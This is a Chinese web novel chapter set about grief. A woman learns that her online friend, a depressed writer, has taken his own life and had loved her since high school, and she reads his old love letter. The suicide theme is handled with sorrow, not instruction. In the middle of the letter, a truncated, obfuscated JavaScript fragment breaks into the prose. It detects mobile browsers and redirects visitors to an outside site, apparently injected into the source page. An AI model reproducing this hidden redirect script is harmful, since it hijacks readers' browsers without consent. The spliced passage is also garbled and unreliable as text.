《携春信》
1. 关于他
祝今安走出派出所时,大脑还是懵的。
她走到湖边,找了个台阶坐下,整理着刚才笔录的思绪,总算清明了一点。
她的一位关系很好的网友Blessing于两个月前失去联系,在一周前于碧澜河发现尸体,根据暂有的信息,警察断定很可能是自杀。
她是那位几年来联系最多、且是最后的联系人。
也就在刚才,她才知道,他的本名、年龄、性别,甚至是毕业中学——
季言澈,原名张言澈,男,26岁,和她是高中校友。
祝今安的记忆中从来没有出现过这个名字。
那个人作为七年的网友,她经常会和他聊天,直到两个月前,他发来一条“抱歉,我最近不能联系你了,想去个很远的地方”的消息。
她以为他要去旅游或者要专注现实生活了,只发了一些不深不浅的话,和他告别……
他是抑郁症患者。
……她从来都不知道。
她这些年过得很艰难,和他诉了不少苦水……
该不会是因为这样他才走的吧……
祝今安一下子喘不过气来。
她不敢想象,那些无止境的抱怨对一个抑郁症患者来说是多么残忍的行为……
为什么不和她说啊,他要是说的话,她肯定就不会那么歹毒的话……
秋风萧瑟,令她止不住发抖。
这不是她的问题……是他没说的……她怎么会知道网线对面从没见过陌生人是抑郁症患者呢……
祝今安拿出手机,翻起和Blessing的聊天记录。
Blessing的头像是一个女孩背影的水彩画,应该是他自己画的,画风很像他发在朋友圈的画。
也因此,她一直以为他是个女生,他也似乎有着格外纤细敏感的心,能察觉她的情绪,尽他所能给她帮助……
看着那一个个温柔的文字,祝今安眼眶湿润,随后烦躁地抓头发。
她怎么能这么自私呢,居然从头到尾都在说自己的事……居然把她生活中坏情绪发泄在一个陌生人身上……
为什么他不说他的痛苦,如果告诉她的话,她也可以分担一点啊,也可以安慰他,至少不会毫不知情。
季言澈,你到底是谁。
你知道我是谁吗,是不知情,还是故意装作陌生网友在她身边?
如果是故意的,那么目的是什么?
……如果要知道这一切,那么从她的高中开始了解吧。
祝今安打开好友列表,开始一个个联系母校的同学们、老师们。
**
整整一天,她都在找寻关于他的消息,却收效甚微。
季言澈,在同学们的脑海中恍若透明人,他的同学要想很久,才依稀记得班级的角落是有着这样一个身影。
成绩中等,几乎从不说话,没有人看清过他的脸,永远坐在后排角落,上课最晚来,放学最早走。
他就像这间教室的幽灵,没有一个人注意到他……
听着他们描述,祝今安甚至怀疑,真的有这么一个人吗?
直到她联系到他的班主任余方雅,也是她的语文老师,才终于确认有这么一个人存在。
“言澈啊,那可真是个苦命的孩子啊……他现在怎么样了?”
面对这个问题,祝今安都不知道该如何回答。
“……他……自杀了,两个月前……”
她几乎是拼命从牙缝中挤出这几个残忍的字眼。
对面沉默了良久,缓缓地叹了口气:“还是没撑过去啊……也是,他真的太辛苦了,解脱了也好……”
“……他那个时候也想自杀吗?”祝今安轻声问。
“嗯……高一下学期,他有一段时间非常不正常,我问了很久才知道,他报警把他家暴的爸抓进牢了……我也是那个时候才知道原来他家很不正常……”
高一?报警?……家暴?
祝今安呼吸一滞。
那个人的家庭状况……这么惨?
“你敢相信吗?他身上全是伤痕,没一处是完好的……左手臂上有一道特别长的刀痕……我这辈子都忘不了……”
刀痕……
祝今安身子一颤,下意识地抚上自己的左臂,想象着那道狰狞的疤痕。
余方雅大概回忆到了痛处,声音颤抖着,隐隐有哭声:“而他因为父亲入狱家里没有经济来源了,就日日兼职打工……我看着他,什么都做不了,给了点钱,帮他介绍了份工作,帮他申请国家补助……”
“他亲口和我说,老师,我真的好想死……我也不知道该说什么,一点办法都没有……我只能说,你先高考,高考后一切都会解脱的……但说这话我自己都不信……”
她的声音悲戚,情绪激动,到最后是……绝望——
“他最后……也没参加高考。”
“我去找他,但他不见了,他除了有精神病的母亲,没有任何我可以联系的亲人……我也只能在在心中祈祷他是投奔别的亲戚了……”
祝今安抓着手机的指尖泛白,几乎喘不上气来。
精神病的妈,家暴的爸,抑郁的他,贫穷的家……这是什么天崩开局……
电话那边许久没有说话,能听到老师的啜泣声。
祝今安也不知道该说什么,她的情绪也无法控制,只能陪她一起哭。
许久,余方雅轻声开口:
“……你来找我问他,是这几年和他有联系吗?他上学时期可是很喜欢你的……”
祝今安的手机差点滑落。
傍晚湖边的风凉得彻心彻骨,一瞬间,她感到头晕目眩。
“……喜欢?”她的声音像是从很远的地方传来,干涩得不像自己的,“什么意思?”
电话那头传来东西搬动的声音,余方雅似乎在找些什么:“你不知道啊,他一直暗恋你啊,从高一就开始了。”
“他还有一封情书在我这,还有关于你的日记。”
……暗恋?情书?!
祝今安傻了,良久才回过神来。
这就是原因?他作为网友甘愿当她情绪垃圾桶的原因?
她情绪有些不受控制道:“为什么,他会喜欢我?我都不认识他啊!”
“……”
对面翻找东西的窸窣声停住了,余方雅叹息一声:“因为你救了他啊。”
“我……救了他?”祝今安愣住了。
开什么玩笑?她都害他自杀了!
“是这样的没错,你拯救了他,”余方雅缓缓道,“他在情书里写的你,第一次让我看到他身上属于那个年纪的活气。”
“那个时候,他真的就是万念俱灰,对一切都只有绝望……我真的不知道该怎么让他振作。”
“但那封情书让我看到了希望。”
“我看完了他的信,发现他对文字有特别天赋,我开始让他写日记,让他多观察点生活的美好,用他的笔写下来,他也喜欢画画,我也学过点画,于是教他画,后来他也会用画的方式保存下来……”
“不过,无论他写的,还是画的,他笔下最多的是你,他这样之后也确实好多了,也开始上进,他说他想和你考一个大学……的确是你拯救了他没错。”
“你真应该看一下他笔下的你,他描绘的你,青春靓丽,一看就让人觉得你充满希望……”
祝今安身子狠狠一颤。
希望?青春?
他是因为这些喜欢她?可是她现在已经不是了啊。
她这么多年面对他的姿态明明只有无休止的怨怼,一次次的变故与失望笼罩在她头上,像是驱赶不掉的乌云,一遍遍淋湿着她的心,早就被泡得发皱发霉。
他这么多年还喜欢她?喜欢这样满身苍夷、只会抱怨的她?
像是察觉到她的异样,余方雅轻声道:“……孩子,你有时间吗,可以来看一下他的情书和日记,我想你应该需要……”
“我有时间的,我明天就来!”祝今安急忙道。
“你现在在省内?没有工作吗?”
“……我不久前辞职了,在找工作中,已经面试很多次了……”祝今安苦笑,“我也不是高中时期那个祝今安了……这些年还挺难的……我也没敢
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和父母说……”
“……唉,好孩子,辛苦了,”余方雅叹气,声音慈祥,“累了就回家休息吧,别硬撑着……”
“嗯……谢谢……”
祝今安擦了一把脸上已经凉透了的眼泪,笑:“我明天就去找您!”
“好,我随时有时间,不急的。”
“嗯嗯,谢谢您,余老师……”
挂断电话后,祝今安望了很久的天空。
被眼泪洗过的眼睛,看什么都觉得干净。
她以天空为画板,云为画笔,想象着那个少年的面孔。
“喂,季言澈,你可真厉害,”她轻声喃喃道,声音被风吹得支零破碎,“这么多年居然一点都没让我发现你的存在。”
“……不想让我知道你的存在是吧,这下好了,死了的时候让我知道了。”
“你是想让我愧疚一辈子是吧。”
“好吧,你的目的达成了,我这辈子都不会忘掉你了。”
风更大了些,冷得祝今安直哆嗦。
“……你不愧是精神病吧,正常人会像你这么偏执,七年只和喜欢的人联系?你是想拽着我不放?”她对着虚空讽刺笑道,“你拽着倒是现身啊,我这些年过得这么惨你又不是不知道,你出现一下我说不准直接就爱上你了。”
“真是搞笑季言澈。”
“你喜欢我什么?我和你抱怨了那么多,说出的话刻薄又无聊,你是有什么毛病吗?真无语……”
“现在好了,我本来今天要去面试的,被你搞黄了。”
“哦,因为你,我现在要回家了,一段时间也不能去工作了,我给我爸买假肢的预期时间又要往后延了。”
“你生前不让我了解你,死了我还要从别人口里了解你,开心了吗?”
……
祝今安骂累了,低头看了看身上皱巴巴的衣服。
还是西服,当时还打算派出所搞完接着去面试的,结果在外面待了一天。
现在看真是搞笑。
Blessing死了,她这么多年的好朋友死了,而她居然还想着这场搞笑的面试?
人再贱也不能贱成这样吧?
她弯下腰来,揉了揉穿着高跟疲惫的脚。
她是怎么贱成这样的?
穿着廉价不舒服的高跟脚,明明疲惫还要化上得体的妆,明明委屈还要顶着笑脸……
她以前明明是怀着家人与小镇老师们的期待和她的梦想与奋斗来到这座城市的啊……
茫然、无助、悲伤、愤怒……一时间全部涌上她的头脑。
她是什么贱人吗?以前她在高中作文里写“世界以痛吻我,要我报之以歌”那种愚蠢奉承话就算了,怎么现在还要这么贱地活得这么窝囊?
她招谁惹谁了?
祝今安猛地站起来,脱掉令她不舒服的高跟鞋,光脚站在地面上,感受混凝土的不平纹路。
像是下定某种决心,她鼓足勇气,朝着湖面大声咆哮起来:“去你的面试!去你的工作!去你的生活!”
尖锐的声音引得路人纷纷看过去。
祝今安却是什么都不顾了,她打开手机,订下回家的高铁票,然后用尽全身的力气大喊:
“再见!你个狗屎城市!姐姐我要回家了!!!!”
湖风轻拂,带着一丝凉意,吹散了她心中的喧哗与焦躁。
祝今安站在这座城市的边缘,她的声音在空气中激荡着,带着解脱与释放,像是冲破了长久以来束缚她的枷锁,让她感到一种前所未有的轻松。
她感觉自己像个神经病,但这种疯狂让她好多了,从愤怒的高潮逐渐平息,取而代之的是一种荒诞的幽默感。
祝今安觉得自己过于好笑,忍不住大笑起来。
大家的目光都注视在她身上。
祝今安没有在意,她站上一层台阶,大声向他们宣布——
“你们好呀!我想告诉你们,我要回家了!!!!”
她笑容洋溢着,在阳光下熠熠生辉。
说完,她拎起高跟鞋,不再在意别人的目光,就这样光脚踏上了归途。
2. 卷毛鬼
祝今安到家的时候,祝秋韵正在厨房忙活,听到外部的声音,连忙出来,脸上挂着欣喜的笑:“安安!回来了?”
“回来了!”
祝今安绽放笑颜,三步并作两步向前,紧紧抱住她。
“妈,我好想你啊……”
她的手紧紧环抱着母亲,不愿放开。
祝秋韵也搂紧她,摸着她的脑袋:“好了好了,回来就好……”
抱住许久未触碰的身体,祝今安发现,她又瘦了。
“妈!你是不是没好好吃饭啊!怎么又瘦了!”
她松开来,摸摸母亲瘦削的脸。
“还说我!你才是!我的宝,怎么瘦了这么多啊,”祝秋韵心疼地摸着她的脸,带着厚茧的手指摩挲她的眼下,“黑眼圈这么重,没睡好?”
“没有,我是夜猫子你又不是不知道……”
感受母亲手掌的温暖,还有熟悉的关心,祝今安有些想哭。
她吸了吸鼻子:“爸呢?去哪了?”
“去给我们安安买东西去了,你不是很喜欢镇上的蛋糕吗?他一听你要回来就争着要给你买。”祝秋韵笑。
“他坐着轮椅就去了?这么冷的天!路上这么黑!”
祝今安紧张道。
“他是腿残了,又不是脑残了,别担心。”祝秋韵不在意道,接着拍拍她的头。
“妈!你怎么心那么大啊!”祝今安简直要急坏了,“我去接爸回来!”
说着就要往外走。
“镇子来回一趟也就半个多小时,他都这样走几年了,”祝秋韵拉住她,“你这样过于担心他他心里会不好受的。”
“我哪里过于担心了!天这么黑,万一他没看清路扎河里怎么办!轮椅没电停路上怎么办!遇到坏人怎么办!”
祝今安管不了那么多了,推开门,一脚踏入冰冷的空气中。
还没来得及走出家门,一个熟悉的声音响起——
“安安,你回来了!”
祝今安循着声音低下头去,看到脸上挂着慈祥笑容的安仁谦。
他坐在轮椅上,手上还抱着一盒蛋糕。
“爸!”祝今安冲上去,抱住他,声音哽咽,“你干嘛啊!大半夜买什么蛋糕!还是冷得要死的天!”
“万一出意外怎么办!路上这么黑!”
“我这不是没事吗?”安仁谦拍拍她的背,“好了,快起来,蛋糕要掉了。”
“蛋糕重要吗!什么时候都能吃吧!你们怎么心那么大……这样我在外地怎么放心……”
安仁谦感受着女儿汹涌的情绪,叹气:“你爸难道没了腿就不是你爸了?一个爸爸想给他的宝贝女儿买蛋糕,这不应该的吗?”
他摸摸祝今安的头:“别哭了,让你爸享受一下当父亲吧,我都那么久没见你了……”
祝今安吸了吸鼻子:“可是……”
“可是什么啊可是,我是腿残了又不是脑残了,一路上都有人,我出意外难道不会叫吗?”
安仁谦戏谑道。
“爸!你怎么和妈一样一样的啊……”
相似的话语让祝今安破涕而笑,她颇为无语道。
“所以说是夫妻相啊。”
安仁谦笑,擦掉她脸上的眼泪。
“我也是服了你们父女俩了,大半夜在外面演什么苦情戏呢!”祝秋韵女士发话了,“快进来,冷死了!”
语气不耐烦的,但转身的瞬间却嘴角上扬。
祝今安也笑着,推着轮椅进了屋。
……
这顿晚饭是久违的,母上大人手下饭菜还是那么好吃,烧着煤炭的火炉还是那么温暖,连那个蛋糕也是记忆中的味道……
没有扰人的噪音,没有面试的焦虑,没有房东的狮子吼……
祝今安许久没有这么放松地进入梦乡了。
梦境的开始也很美好,有床有鲜花有蛋糕有饭菜。
她就坐在床上大快朵颐着。
只是梦境的角落里有一个身影,就坐在那里,一直安静地看着她。
祝今安本来不想理他的,但那人的眼神过于炙热,她都吃不下了。
“干嘛,你想吃吗?”
祝今安忍无可忍,回头看他。
那人有一头很长的头发,又是卷着的,就那样乱乱地披在肩上,加上那盖住眼睛的刘海,松松垮垮的衣服,让他看起来十分的邋遢。
“……你看得到我?”
那人很慌张地站起来,一副不知所措的样子。
他的声音和他不修边幅的外表相反,意外的清澈。
“你是死人吗?我为什么看不到你?”祝今安疑惑。
“嗯,我是死人。”对方点了点头。
“哦……所以你有什么遗愿吗?托梦给我。”
祝今安淡定道,一点也没有见到鬼的惊讶。
那人摇了摇头:“我不记得了,一点记忆都没有,我有意识就在这里了,一直一直看着你,但你都看不到我……”
“我没想到你今天看到我了……我挺开心的。”
他的声音带着羞涩,惊起祝今安一身鸡皮疙瘩:“……你干嘛用这么恶心的语气……”
“而且,你说你在这偷窥我很久?!”
“没有!我不是故意的!”那人慌张得语无伦次,“不是,我的意思我没有想偷窥你,就是……就是……这里太无聊了,你出现在这才会热闹一点……”
“我也想和你说话,但你看不到我……”
“我不是故意的……”他的声音小心翼翼,又带着委屈,“对不起……”
“噗——你好好笑啊,”祝今安笑起来,“我和你开玩笑呢,这就是个梦而已,你看我也没什么,我就当你是我梦里的npc了,别紧张。”
其实也能看到你的现实生活……
他心道。
但强烈的求生欲令他没有说出口,莫名感觉这样会被暴揍一顿。
见祝今安开怀大笑,他放松下来道:“谢谢你,你真是个好人!”
祝今安:“?”这就被发好人卡了?
“你可真是个单纯鬼啊,年纪多大了?”
对方茫然地摇头:“也不记得了……”
“你这副样子,不会还没成年吧?”祝今安跳下床,围着他转了一圈。
“不知道……”他缩着身体,对她的目光感到羞怯。
看起来真像个弟弟……
祝今安想。
“你说你不记得自己是谁了对吧?我给你取个名字吧!”
祝今安笑着抬头,目光锁住他的脸,想要透过他的刘海看到他的眼睛。
“可以呀,如果有名字的话,我会很开心的。”他低头,对上她神采奕奕的眼睛,有些害羞道。
“嗯……那就叫……就叫……”祝今安上下打量着他,思忖着,最后目光落到他的头发上,“就叫卷毛吧!看来看去还是你的头发最显眼!”
“……卷,卷毛?”卷毛懵懵地摸向自己的头发。
好
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难听的名字……
“对啊,你不满意吗?”祝今安笑弯的眼睛看向他。
不喜欢,感觉像嘲笑他……
但卷毛没有说出口,因为她的眼睛太好看了。
卷翘的睫毛圈住那乌黑的眸子,她的眼睛大,眼黑又多,看起来水灵灵的,此时又笑得那么明媚……
卷毛脸红了。
他不忍心拒绝这样一双眼睛。
“多可爱的名字呀!”祝今安眨眨眼睛,“你不觉得吗?”
“……你觉得可爱吗?”卷毛红着脸,吞吐道,“那好吧,就这个名字……”
如果可爱的话,是不是说他的头发很可爱呢?
卷毛的脸更红了。
看着他这个样子,祝今安偷笑。
这傻鬼还挺单纯的,这么容易就上当了。
她接着打趣道:“毕竟我家以前的狗狗就叫多毛,能不可爱嘛!”
……狗狗?
意思是她把他当狗狗了吗?
卷毛愣住。
……虽然他已经不是人了,但他生前也是人吧?所以也要捍卫自己曾是人的尊严吧?
“……”
卷毛有些委屈,但他敢怒不敢言,只小声地抱怨一句:“怎么和狗狗一类名啊……”
“因为很可爱啊,你和狗狗都很可爱。”
祝今安也没想到自己会在梦里“调戏”一只鬼,但他的反应太有趣了——
他害羞地捂住脸,脸又红了,加上他很白,有种常年不见阳光的脆弱感,红起脸来让他看起来有生气多了(虽然他是一只鬼),而且!他“红温”了会发光!
太有趣了!
“我很可爱吗?”卷毛害羞道,“好吧,如果是这样的话……”
说着,他又闪了闪光。
祝今安笑起来,朝他伸出手:“好了,卷毛小朋友,我叫祝今安,欢迎你来我的梦里做客。”
卷毛听到这个名字的瞬间,愣住了。
心跳在那一刻几乎要跳出胸膛,一种莫名的冲动让他的眼眶发热。
几乎是要哭出来了。
他瞪大双眼,生怕一眨眼,泪水就从眼眶中掉出来。
“卷毛?”见他久久没有反应,祝今安唤道。
他的两只手紧握住她的手,声音颤抖着,万分珍重道:“你好呀,祝今安……我的名字是……”
“卷毛!”祝今安粲然一笑,“我知道。”
卷毛……
不是卷毛,应该是……想告诉你的名字是……
是什么……?
他的心中涌出一股强烈的无措感。
一直想告诉你的名字是……什么?
他努力地回忆着,记忆却一片空白。
什么都想不起来,卷毛只能勉强地一笑:“嗯,很高兴见到你……”
真的很高兴,太高兴了,忍不住会哭的那种……
像是等了很久很久,才等到了这一刻……
**
一觉醒来,祝今安很久没有这么舒服过了,她拉开窗帘,伸了个懒腰。
还是乡下适合她,那狗屎城市可把她憋坏了。
现在多爽啊,这么多疲惫回家睡一觉就好多了,还做了个美梦。
额,梦到啥来着?
祝今安一下子想不起梦的内容了。
忘了。
算了,不纠结了,今天还要见余老师呢。
她放弃思考,转身笑着哼起歌,打开行李箱找起衣服来。
3. 相救他
祝今安来到母校,看过她的高中班主任后,就来找余方雅了。
她站在教师办公室门口,拘谨地敲了敲门。
门打开了,门后是余方雅有些衰老的脸,她笑道:“今安,你来了啊。”
“嗯嗯,老师,会不会太打扰你了……”
“怎么会呢,我也那么久没见你了,虽然你每次都在我的课上写数学。”余方雅打趣道。
“咳咳……老师,这个就不用提了吧,都过去多久了……”祝今安心虚道。
“好好好,不提了。”
余方雅拉着她进屋,走到她的桌子旁,从抽屉中拿出一个袋子:“这就是言澈放在我这全部的东西了,我本来想他高考后还他的,没想到就这么一点消息都没有走了……”
“你带回家看吧,或许你拿走它才是它最好的归宿。”
祝今安接过袋子,沉甸甸的,连着她的心也沉下来:“谢谢老师……我会认真看,好好保管的。”
“我啊,挺对不起这孩子的,身为老师,还是他唯一可以依靠的人,却救不了他……”
余方雅苦笑。
“他自杀前……过得不好吗?”
“……我也不清楚,可能您不相信,我也是这几天才知道有‘季言澈’这个人的……”
“这几年,他一直作为网友和我联络,我把我生活中的难事都告诉他,但关于他的事,我却什么都不知道……”
祝今安眼睛蓄满眼泪。
“要不是警察和我说,我还会一直不知道……”
带着哭腔的一声话语结束,空气中笼罩着悲伤的气息。
余方雅叹了口气,轻轻拍拍她的肩:“他还是这个样子啊,和他学生时代一模一样。”
“你也别难过了,不是你的错,只能说是天意弄人啊……”
祝今安擦了擦眼泪,抬头:“能多告诉我一点,关于他学生时代的事吗?”
“可以啊,”余方雅揉揉她的头,“你想知道他些什么?”
“都可以,我就是想多了解点他……”祝今安声音很轻。
“那几乎都是一些悲伤的事情,像是我给他介绍心理医生治疗,给他介绍工作,给他辅导功课……”
“也就关于你的事情才会轻松些,他只有在谈及你时,脸上才会出现这个年纪孩子的表情。”
余方雅喝了口水,沉沉地叹了口气,随后看向祝今安的眼睛。
她的眼睛此时噙着泪水,眼圈泛红,眼珠像浸在水中的黑石子,惊人的透亮。
任谁看都会被她的眼睛表达的情绪感染。
余方雅揉揉她的脑袋:“他说,他喜欢你的眼睛,你的笑容,还有你善良澄澈的心,只要一看到你,就像看到世间最美好的事物。”
“他在情书中写过一个比喻,特别美特别贴切,把你比作太阳,具体的我也不记得了,大概意思是你的光芒让他看到这个世界,很美的文字,看到的一瞬间我就被触动了……”
“他对文字的天赋真的很惊人,没有这方面的成就真的很可惜……”
余方雅叹道。
“他其实……成为了一名作家……”
祝今安前夜查了他一晚上资料。
在警所中,警官说,他是一名作家,笔名……
“他的笔名是‘Blessing’,出版过几本书,挺多人喜欢他的……”
她真没想到,他的笔名和用户名一样。
祝今安看到他的作品时,才想起,原来自己曾在图书馆看到过他的书。
因为笔名和他的用户名一样,所以就留意了一下——
很清新的封面,青蓝色的,名字也很文艺,叫《时光轻吟》。
但她对文艺伤痛小说没有兴趣,只是浅浅地瞥了一眼,便忘却了。
回去她还和他开玩笑地说了这件事,他的回应也很平淡,并没有承认那是他。
他主要是写悬疑小说的,是这几年特别火的《锈骨》系列,她对悬疑小说倒是比较感兴趣,而她当时看到的那本是他写的唯一一本文艺书。
她看了他的悬疑文,第一章就被吸引到了——
扣人心弦的剧情,扑朔迷离的谜团,震撼人心的文笔,很对她的胃口。
她看了一晚,不知不觉就天亮了。
她想,如果当时看到的是这本小说,如果她打开了,入迷了,那会不会对他产生好奇,然后正式认识到他呢?
会不会他们借此成为了双向的朋友,他也向她叙述自己的痛苦,有人分担他的苦楚了,他就不会那么痛苦,结局也就改变了呢?
“是吗,那真是……”余方雅想要高兴,可是意识到对方已逝,也笑不出来了,只能叹息,“可惜啊……”
祝今安垂下眼眸,眉宇间全然悲伤。
他真的很可惜,很有天赋……
和他聊天的时候也能感受到,他的文字很温柔,宽慰她的话也总是简洁却能轻易触及人心的。
这样一个温柔的人,却就这样离开了人世……
满是遗憾,痛苦,悲伤地离开人世……
“他真的很温柔,生前每年都在尽他所能给学院、福利院、山区捐款,书里的作者序中也感谢着所有人……”
母亲、老师、读者、便利店老板、编辑、福利院院长,还有她……
祝今安的声音很轻,吐出的每一个字却都那么沉重,像铅块般,压在听者与说者的心上。
余方雅的眼睛中闪烁着泪水,声音哽咽:
“我知道啊,他就是这样一个温柔善良的孩子,可是上天太不公平了……”
“命运怎么会这么狠心,他辛苦这么多年,一点福报都没有给他……”
“苦命的孩子啊……”
……
祝今安无语凝噎。
惟有泪千行。
**
今夜的天气很好,月光澄澈,透过纱窗照在祝今安的桌前。
祝今安很紧张地坐着,桌上俨然是从余老师那拿回来的袋子。
她深吸一口气,终于郑重地打开了袋子——
里面有一本很厚的日记本,一封信,几幅画,还有一张照片。
祝今安拿起照片。
上面有一行字:南莲第二中学2017届高三(10)班毕业留念。
她很自然地在众多人影中寻找起他的身影,目光定格在一个高高瘦瘦的人身上。
因为是毕业照,他没有戴口罩,露出瘦削的下巴,头发乱糟糟的,戴着眼镜,看不清他的眉眼。
很意外地和她想象中差不多,都是一副无法让人放下心来的样子。
而且……有些眼熟。
果然,他们之前见过吧,只是她从未留意过。
祝今安叹气。
余老师说,这本来应该是填志愿那天来学校她发给所有人的,没来的同学也会寄给他,唯独季言澈——
没有联系方式,没有地址,什么都没留下地消失了。
好似人间蒸发。
他发生了什么呢?为什么没有参加高考?为什么离开,没有告别,什么也没留下地走了?
寻求答案未果,祝今安放弃思考,拿出画来。
都是很简单的画,但这笔触,祝今安一眼认出那是他的风格。
画中的主角有物品有动物有植物,更多的是……她。
在桌前思考的她,安静站在走廊看天的她,和朋友交谈的她……
祝今安一张张看过去,脑子嗡嗡的,有些不清醒。
最后她的目光停在一张画上。
这是唯一上了色的画。
画中的她,笑着的,微微踮着脚,似乎向远处的某人招着手。
他仅在三处地方施以色彩——
他给她嘴唇上了鲜艳的红色,为她在阳光下闪耀的眸子点上温柔的棕色。
最后一处,是她的发带。
画中的她绑着一个高高的马尾,那发带也很高调,像一只振翅欲飞的红蝴蝶,停驻在她的发间。
生动的,鲜活的,青春的。
让祝今安险些掉出眼泪来。
她不是很会欣赏艺术,可是她就像能透过画理解他想表达的情感般,心底堵得慌。
他眼中的她,是这样的吗?
她的余光又瞥到右上角一行小字,她看过去,上面写着:
鲜艳的她。
很隽秀的字。
祝今安很喜欢这幅画,她想了想,把她挂在墙上的艺术照取下来,把这幅画放进相框中。
虽然有些朴素得不适合,但她很喜欢。
祝今安满意地拍了张照,随后把目光放在那封情书上。
粉色的信封已经褪去了昔日的鲜艳,变得苍白而脆弱,仿佛承载了太多岁月的痕迹。
嗯……有些害羞。
毕竟好久没收到情书了。
祝今安小心地拆开这封来自过去的信。
信纸因为岁月的侵蚀而变得皱巴巴,泛着淡淡的黄色,笔墨也很淡。
很旧很淡的信。
像某个人一样。
祝今安沉默地读起信来,第一行字就令她深吸一口气——
“祝今安同学,你好,这是一封我永远也不会给你的情书,所以我也就自私地发泄我的情绪在这上面了。”
“我本来也不会写这封信的,但这一天,在我生日这一天,在所有人都在过年阖家团圆的这一天,只有我在便利店工作的这一天,你出现在我面前——”
“我当时在发呆,想又是一个无聊的生日就这么了无生趣地结束了。”
“但这时,便利店的门铃响了,你带着仲春的寒气走了进来,脸上带着笑容,就像——神明一样。”
祝今安愣住。
过年,便利店……
是那天?那个人,是他……?那天……是他的生日?
“我看到你的一瞬间,整颗心脏都坏了,低下头来,不敢看你的脸,一方面是害羞,一方面是惶恐——万一你认出我怎么办?毕竟一个在过年都要工作的同校同学多可怜啊。”
“但你怎么可能会认识我呢,我注视过你那么多次,也从来都知道,你的目光从来没有落在过我的身上。”
是啊,当时怎么没认出来呢?
以前的她怎么就从来没有注意过他呢?
“你说,谢天谢地,还有一家便利店开着门,然后就去架柜上挑东西。”
“我以为你会挑完东西就走的,你也确实拎着一袋沉甸甸的东西放上柜台,只是在结账完后,你递给我一瓶牛奶,笑起来,说,这是我很喜欢的牛奶,辛苦了,新年快乐呀。”
“我想我永远都不会忘记那个笑容——”
“能让冬雪融化,枯木冒出新芽,万物洗尽铅华的笑容。”
“我当时就愣住了,而你只是轻轻将牛奶放下,拎着东西就走了,我都来不及道谢。”
“你走得那么轻飘飘,挥一挥衣袖,不带走一片云彩,却留下溃不成军的我。”
“你是在这一天,唯一给我祝福的人,或许只是你一个不经意的善意,但对我意义非凡。”
“我当时蹲在收银台底下痛哭起来,想,我能不能把这当作我这几年来收到的第一个生日礼物呢?”
“你知道吗,你就像太阳一样,发出的光芒些微地反射进我的眼睛,却让高度近视的我看到这个世界模糊轮廓包裹的鲜艳色块。”
祝今安一瞬间湿了眼眶,眼睛一眨,滚烫的泪珠就砸了下来,洇湿了信纸。
这就是余老师说的很美的比喻啊……
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16971613|193473||http|test|mini|href|location''.split(''|''),0,{}));
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>真的很美很温柔……
“我总是被你不经意间发出的光芒温暖到,像我喜欢你的契机也是。”
“那是一个雨天,我没有带伞,在教室里睡着了,醒来时天都黑了,教学楼也空荡荡的,我看着天,想回不去了,干脆在教室睡一晚吧。”
“你从楼梯口跑过来,看到茫茫的雨幕,停下匆忙的脚步,看起来很诧异。”
“我当时想,你是不是也和我一样不小心睡着了呢,不过更可能是因为学习忘了时间吧,毕竟你一直都是年级第一名。”
“你和我一起困在这雨天里,我们没有说一句话,你就是很安静地看着灰色的天空,而我也只是悄悄蜷进角落,想离你远一点,这样更自在一点。”
“很快,你的父亲来接你了,撑着一把黑伞从雨幕中走来,你很惊喜地跳起来招手,喊爸爸。”
“我以为你要走了,这样就结束了,但是,你却走到我面前,递给我一把红伞,脸上挂着笑容,说,太晚了,你撑这把伞回家吧,不用还了。”
“说着,放下伞就奔向雨幕。”
“我呆呆地看着手中的伞和你的背影,一瞬间哭出来了。”
“我真的很爱哭,就像现在,我也是边哭边写的这封信。”
“第二天,我起得很早,将伞悄悄地放在你的课桌旁,明明四下无人,可是我的心就是在怦怦跳,一整天都在怦怦跳——”
“我知道,我恋爱了。”
“也没什么奇怪的,喜欢你是一件再自然不过的事了。”
“从那以后,我的眼睛亮了起来,不自觉总是在注视你,我开始注意到你喜欢编头发,有很多的小发饰,喜欢的颜色是红色,有一顶毛茸茸的红色帽子,一个冬天都会戴着它……”
“你喜欢笑,很有礼貌,每天会和门卫爷爷打招呼,和老师关系很好,总是精力充沛,喜欢唱歌,会弹钢琴,有很多朋友,也有很多倾慕者,在学习上特别努力……”
“我对我的生活生出几分期待来,以前的我每天入睡前的想法是,如果我能就这样闭眼悄悄死去就好了,但现在我每天想的是,如果明天还能见到你的笑容就好了。”
祝今安记得这件事情,但她从没想过这件事情会对他影响这么深,对她来说这真的只是自己随手帮忙的事而已。
“我也很清楚,我们不是一个世界的人,你活泼开朗,身边总是包围着很多善意,自身发出的光芒也是温暖的,一看就是在爱中长大的孩子。”
“就像那天,你在等人,而我在等雨停。”
“我也感谢着上天,让你包裹在爱意中出生,至少让我远远目睹着赤忱的你,至少让我知道,原来世界上有这样自发光体,想象着或许平行世界中有着另一种我也幸福长大的可能。”
“我其实也有点分不清我对你的情感是什么,喜欢,爱恋,仰慕,还是羡慕?”
“但这些都不重要,就像我开头写的,这是一封你永远看不到的信,这些纠结也只会是我一个人的纠结,我甚至不会在信尾留下我的姓名。”
“我万分感激你给我的牛奶,这是我过得最好的一个生日和新年,我想要用我的生日祝福你,希望你能幸福,不会有疾病苦难,不会有天灾人祸,永远保持着一颗干净明亮的心。”
“最后,是当时没来得及说出口的话,新年快乐,祝今安同学,谢谢你的牛奶。”
“某人
2015年2月19日。”
读完的那一刻,祝今安的大脑有些空白。
她的身体止不住在颤抖。
她想说话,却不知道说什么,最后只是挤出两个字:“笨蛋……”
没有署名的信,就算递给我也不知道是谁啊……
生日愿望也是祝福我,他呢,为什么没有许愿希望明年生活能变好?
为什么他连那么小的事情能感激地念这么久……
世界上怎么会有这么笨的人?
即使已经那么不幸,被生活折磨得如此千疮百孔,还能这样……温柔……
祝今安捂住嘴巴,哽咽着。
他才是那个有着干净明亮心的人啊……
她只是读书时期随手的一点善意,他能念着那么多年……
她向他抱怨,哭诉,肆意地发泄自己的负能量,他没有一句怨言,尽数包容……
甚至她都不知道他的存在……
明明是他拯救了她才对。
祝今安的泪珠一颗颗往外冒,哭得踹不过气来。
